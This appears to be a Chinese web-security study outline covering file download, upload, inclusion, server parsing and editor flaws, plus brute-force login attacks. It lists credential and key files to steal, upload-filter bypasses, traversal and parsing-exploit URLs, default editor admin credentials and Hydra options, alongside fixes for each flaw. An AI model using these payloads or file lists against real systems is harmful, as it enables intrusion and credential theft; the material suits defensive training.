一般我们当点击下载链接,便会向后台发送一个下载请求,一般这个请求会包含一个需要下载的文件名称,后台在收到请求后 会开始执行下载代码,将该文件名对应的文件response给浏览器,从而完成下载。 如果后台在收到请求的文件名后,将其直接拼进下载文件的路径中而不对其进行安全判断的话,则可能会引发不安全的文件下载漏洞。
原理
网站对用户查看或下载的文件没有做限制,则恶意用户就能够查看或下载任意敏感文件,这就是文件查看与下载漏洞。
利用
URL
一般链接形式
download.php?path
down.php?file
data.php?file
包含参数
&Src=
&Inputfile=
&Filepath=&Path=
利用思路
1. 下载常规的配置文件,例如: ssh,weblogic,ftp,mysql等相关配置
2. 下载各种.log文件,从中寻找一些后台地址,文件上传点之类的地方。
3. 下载web业务文件进行白盒审计,利用漏洞进一步攻入服务器。
常见利用文件
Linux
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts //记录每个访问计算机用户的公钥
/etc/passwd
/etc/shadow //用户密码文件
/etc/my.cnf //mysql配置文件
/etc/httpd/conf/httpd.conf //apache配置文件
/root/.bash_history //用户历史命令记录文件
/root/.mysql_history //mysql历史命令记录文件
/proc/mounts //记录系统挂载设备
/porc/config.gz //内核配置文件
/var/lib/mlocate/mlocate.db //全文件路径
/porc/self/cmdline //当前进程的cmdline参数
Windows
c:/boot.ini //查看系统版本
c:/windows/php.ini //php配置信息
c:/windows/my.ini //MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码
c:/winnt/php.ini
c:/winnt/my.ini
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
c:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
//存储了pcAnywhere的登陆密码
c:\Program Files\Apache Group\Apache\conf\httpd.conf 或C:\apache\conf\httpd.conf //查看WINDOWS系统apache文件
c:/Resin-3.0.14/conf/resin.conf //查看jsp开发的网站 resin文件配置信息.
c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
d:\APACHE\Apache2\conf\httpd.conf
C:\Program Files\mysql\my.ini
C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
修复
过滤".",使用户在url中不能回溯上级目录*
正则严格判断用户输入参数的格式
php.ini配置open_basedir限定文件访问范围
open_basedir = dir
任意文件上传
原理
后台开发时并没有对上传的文件进行安全考虑或采用了有缺陷的措施,导致攻击者可以通过一些手段绕过安全措施从而上传一些恶意文件,从而通过该恶意文件的访问来控制整个后台
检测/绕过的方式
客户端检测绕过(javascript 检测)
BurpSuite抓包改后缀
服务端
检查后缀
黑名单
上传特殊可解析后缀
上传.htaccess文件
该文件会把当前目录下的所有文件当做脚本解析
后缀大小写绕过
$file_ext = strtolower($file_ext); //转换为小写
点绕过
空格绕过
::$DATA绕过
$file_ext = str_ireplace(‘::$DATA‘, ‘‘, $file_ext) #//去除字符串::$DATA
双后缀名绕过
$file_name = str_ireplace($deny_ext,"", $file_name) # 只对文件后缀名进行一次过滤
配合解析绕过
白名单
MIME绕过
每个MIME类型由两部分组成,前面是数据的大类别,后面定义具体的种类。
常见MIME类型
超文本标记语言文本 .html text/html
xml文档 .xml text/xml
普通文本 .txt text/plain
PDF文档 .pdf application/pdf
Microsoft Word文件 .word application/msword
PNG图像 .png image/png
GIF图形 .gif image/gif
JPEG图形 .jpeg,.jpg image/jpeg
AVI文件 .avi video/x-msvideo
GZIP文件 .gz application/x-gzip
TAR文件 .tar application/x-tar
%00截断
%00,会自动截断符号后边的内容
0x00
BurpSuite Hex
0x0a截断
检查内容
检查文件头
getimagesize()
# 用于获取图像尺寸
exif_imagetype()
# 获取图片类型
二次渲染
任意文件上传测试流程图(放大)
分支主题
防御 / 修复
最有效的,将文件上传目录直接设置为不可执行,对于Linux而言,撤销其目录的'x'权限
文件类型检查:强烈推荐白名单方式,结合MIME Type、后缀检查等方式(即只允许允许的文件类型进行上传);此外对于图片的处理可以使用压缩函数或resize函数,处理图片的同时破坏其包含的HTML代码;
使用随机数改写文件名和文件路径,使得用户不能轻易访问自己上传的文件
单独设置文件服务器的域名;
建立防火墙,开启过滤
文件包含漏洞
原理
开发时,未对包含的文件进行严格过滤,攻击者可构造自己的图片木马文件当作php执行
分类
本地包含
包含自身服务器的文件
远程包含
`allow_url_include = on`
`magic_quotes_gpc = off`
快速寻找漏洞
黑盒
寻找`www.xxx.xxxx.com?page=`
`www.xxx.xxxx.com?file=`
`www.xxx.xxxx.com?filename=`
白盒
源码中寻找以下函数
`include()` #正常包含
`include_once()` #不重复加载
`require()` #遇到错误退出
`require_once()` #不重复加载&遇到错误退出
PHP内置协议
file:// # 访问本地文件系统
http:// # 访问http / https网址
ftp:// # 访问FTP / FTPS URLS
php:// # 访问各个输入 / 输出设备
zlib:// # 压缩流
data:// # 数据(RFC2397)
sshh:// # Secure Shell2
expect:// # 处理交互式的流
glob:// # 查找匹配的文件路径模式
防御 / 修复
在功能设计上尽量不要讲文件包含函数对应的文件放给前端进行选择和操作
过滤各种../../,http://,https://,
php.ini
allow_url_include=off
allow_url_fopen=off
magic_quotes_gpc=on
白名单,仅允许包含运行指定的文件
中间件解析漏洞
Nginx
原理
php配置文件中,开启了cgi.fix_pathinfo
形式
www.xxxx.com/UploadFiles/image/1.jpg/.php
www.xxxx.com/UploadFiles/image/1.jpg%00.php
www.xxxx.com/UploadFiles/image/1.jpg/%20\0.php
修复
修改php.ini文件,将cgi.fix_pathinfo的值设置为0;
nginx.conf.d/下配置文件中增加代码
if ( $fastcgi_script_name ~ ..*/.*php ) {return 403;}# 当匹配到类似test.jpg/a.php的URL时,将返回403错误代码。
Apache
原理
Apache的解析规则为从右到左,若后缀名不可被Apache识别,则继续向左解析
形式
www.xxxx.xxx.com/test.php.php123
www.xxxx.xxx.com/test.php.abc
多后缀且靠右的后缀名不可识别
修复
httpd.conf
<Files ~ “.(php.|php3.)”> Order Allow,Deny Deny from all</Files>
伪静态重写类似.php.*这类文件
IIS
IIS 5-6
目录解析
原理
服务器默认会把.asp,.asa目录下的文件都解析成asp文件
形式
www.xxx.com/xx.asp/xx.jpg,`xx.asp`为目录名称
权限问题配合上传漏洞一起使用,自动同步权限
文件解析
原理
服务器默认不解析`;`号后面的内容,因此xx.asp;.jpg便被解析成asp文件了
形式
www.xxx.com/xx.asp;.jp
支持的解析类型
.asp
.asa
.cer
.cdx
修复方案
升级
正则过滤
权限设置
IIS 7.5
原理
php配置文件中,开启了cgi.fix_pathinfo
形式
www.xxxx.com/UploadFiles/image/1.jpg/.php
www.xxxx.com/UploadFiles/image/1.jpg%00.php
www.xxxx.com/UploadFiles/image/1.jpg/%20\0.php
修复
修改php.ini文件,将cgi.fix_pathinfo的值设置为0;
编辑器漏洞
Ewebeditor
介绍
Ewebeditor是基于浏览器的、所见即所得的在线HTML编辑器。她能够在网页上实现许多桌面编辑软件(如:Word)所具有的强大可视编辑功能。WEB开发人员可以用她把传统的多行文本输入框`<TEXTAREA>`替换为可视化的富文本输入框,使最终用户可以可视化的发布HTML格式的网页内容。eWebEditor!已基本成为网站内容管理发布的必备工具!128517;
利用核心
默认后台:www.xxxx.com/ewebeditor/admin_login.asp
默认数据库:ewebeditor/db/ewebeditor.mdb
默认账号密码:admin admin/admin888
部署于IIS上,关联解析漏洞
漏洞利用关键词
样式管理
工具栏
插入图片
低版本IE
IIS应用程序扩展删除.mdb
版本 2.8.0
http://10.0.0.128:1616/admin_uploadfile.asp?id=35&dir=../../xxx #任意目录跳转
FCKeditor
创建文件时`.`会转义为`_`
绕过
http://10.0.0.128:80/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/est.asp&NewFolderName=x.asp
暴力猜解密码
暴力破解注意事项
破解前一定要有一个有郊的字典(Top100 TOP2000 csdn QQ 163等密码)
判断用户是否设置了复杂的密码
网站是否存在验证码
尝试登录的行为是否有限制
网站是否双因素认证、Token值等等
登录页面可能产生哪些漏洞
注入点及万能密码登录
不安全的用户提示,一般提示用户名不存在或密码及验证码错误
查看登录页面源代码,是否存在敏感信息泄露
不安全的验证码
在注册帐号的时候是否是否存在不安全的提示
不安全的密码,在注册帐号的时候,密码没有限制复杂度
在暴力破解的时候未限止ip,锁定用户
一个帐号可以在多地登录,没有安全提示
帐号登录之后,应该具备超时功能
任意无限注册帐号
OA、邮件、默认帐号等相关系统,在不是自己注册的情况下,应该在登录之后要强行更改密码
逻辑漏洞,任意密码重置
越权漏洞,纵向,横向越权
数据包含有敏感信息泄露,如cookice
不安全的数据传输,密码为明文,未使用https证书
任意文 件下载
暴力破解分类
Client/Server
Bruter、hydra等
Browser/Server
基于表单的暴力破解
基于验证码暴力破解
on client常见问题:不安全的前端js实现验证码;不安全的将验证码在cookie中泄露;不安全的将验证码在前端源代码中泄露
on server常见问题:验证码在后台不过期,导致长期使用(php默认session是24分钟过期);验证码校验不严格,逻辑出现问题;验证码设计的太过简单和有规律的被猜解
弱验证码识别攻击
基于Token破解
由于token值输出在前端源代码中,容易被获取,因此也就失去了防暴力破解的意义,一般Token在防止CSRF上会有比较好的功郊。
暴力破解安全防范
强制要求输入验证码,否则,必须实施IP策略。 注意不要被X-Forwaded-For绕过了!
验证码只能用一次,用完立即过期!不能再次使用
验证码不要太弱。扭曲、变形、干扰线条、干扰背景色、变换字体等。
大网站最好统一安全验证码,各处使用同一个验证码接口。
工具
Bruter
Hydra
Hydra的使用
-R 继续从上一次进度接着破解。
-S 采用SSL链接。
-s PORT 可通过这个参数指定非默认端口。
-l LOGIN 指定破解的用户,对特定用户破解。
-L FILE 指定用户名字典。
-p PASS 小写,指定密码破解,少用,一般是采用密码字典。
-P FILE 大写,指定密码字典。
-e ns 可选选项,n:空密码试探,s:使用指定用户和密码试探。
-C FILE 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数。
-M FILE 指定目标列表文件一行一条。
-o FILE 指定结果输出文件。
-f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解。
-t TASKS 同时运行的线程数,默认为16。
-w TIME 设置最大超时的时间,单位秒,默认是30s。
-v / -V 显示详细过程。
信息整理
形成报告
0 条评论
下一页